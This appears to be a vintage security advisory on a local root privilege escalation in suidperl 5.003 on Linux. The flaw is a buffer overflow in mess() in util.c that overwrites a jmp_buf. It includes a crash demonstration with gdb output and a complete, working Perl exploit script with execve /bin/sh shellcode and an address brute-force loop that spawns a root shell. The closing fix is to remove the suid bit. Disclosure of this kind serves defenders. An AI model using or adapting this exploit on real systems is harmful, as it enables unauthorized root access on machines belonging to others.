COMMAND

    sperl5.003

SYSTEMS AFFECTED

    Linux

PROBLEM

    Pavel  Kankovsky  found  following.    Any  user  can  gain   root
    privileges on  a Intel  Linux system  with suidperl  5.003 (having
    the  suid  bit,  of  course)  even  if "SUIDBUF" and "two suidperl
    security  patches"  have  been  applied.  Non-Intel  /   non-Linux
    platforms may be affected as well.

    There  is  a  nasty  bug  in  mess()  (util.c):  it is possible to
    overflow its buffer (via  sprintf()); mess() tries to  detect this
    situation but fails to handle the problem properly:

    [excerpt from util.c]

        if (s - s_start >= sizeof(buf)) {   /* Ooops! */
            if (usermess)
                fputs(SvPVX(tmpstr), stderr);
            else
                fputs(buf, stderr);
            fputs("panic: message overflow - memory corrupted!\n",stderr);
            my_exit(1);
        }

    It does not abort immediately. It prints out an error message  and
    calls my_exit(1), and this is very bad.

    $ perl -v
    This is perl, version 5.003 with EMBED
            Locally applied patches:
              SUIDBUF - Buffer overflow fixes for suidperl security

            built under linux at Apr 22 1997 10:04:46
            + two suidperl security patches

    $ perl `perl -e "print 'A' x 3000"`
    Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
    ...AAAAAAAAAAAAAAAAA": File name too long
    panic: message overflow - memory corrupted!

    $ Can't open perl script "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
    ...AAAAAAAAAAAAAAAAA": File name too long
    panic: message overflow - memory corrupted!
    Segmentation fault (core dumped)

    $ gdb /usr/bin/perl core
    GDB is free software and you are welcome to distribute copies of it
    under certain conditions; type "show copying" to see the conditions.
    There is absolutely no warranty for GDB; type "show warranty" for details.
    GDB 4.16 (i586-unknown-linux), Copyright 1996 Free Software Foundation,
    Inc...
    (no debugging symbols found)...
    Core was generated by `perl AAAAA...'.
    Program terminated with signal 11, Segmentation fault.
    Reading symbols ...
    ...
    #0  0x41414141 in ?? ()
    (gdb)

    Voila! 0x41414141 == "AAAA"

    The variable called top_env has  been overwritten. In fact, it  is
    jmp_buf and Perl calls  longjmp() with it somewhere  in my_exit().
    Run this and  wait for a  root prompt (tested  on two Red  Hat 4.2
    systems running on Intel (with perl-5.003-8 and -9)):

    #!/usr/bin/perl

    # yes, this suidperl exploit is in perl, isn't it wonderful? :)

    $| = 1;

    $shellcode =
      "\x90" x 512 .            # nops
      "\xbc\xf0\xff\xff\xbf" .  # movl $0xbffffff0,%esp
      # "standard shellcode" by Aleph One
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
      "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    # start and end of .data
    # adjust this using /proc/*/maps

    $databot = 0x080a2000;
    $datatop = 0x080ab000;

    # trial and error loop

    $address = $databot + 4;

    while ($address < $datatop) {
      $smash_me =
        $shellcode . ('A' x (2052 - length($shellcode))) .
        (pack("l", $address) x 1000) . ('B' x 1000);
      $pid = fork();
      if (!$pid) {
        exec('/usr/bin/sperl5.003', $smash_me);
      }
      else {
        wait;
        if ($? == 0) {
          printf("THE MAGIC ADDRESS WAS %08x\n", $address);
          exit;
        }
      }
      $address += 128;
    }

    Other platforms may be affected too.

SOLUTION

    Perl 5.004 is NOT VULNERABLE.  Obvious solution is:

        chmod u-s /usr/bin/sperl5.003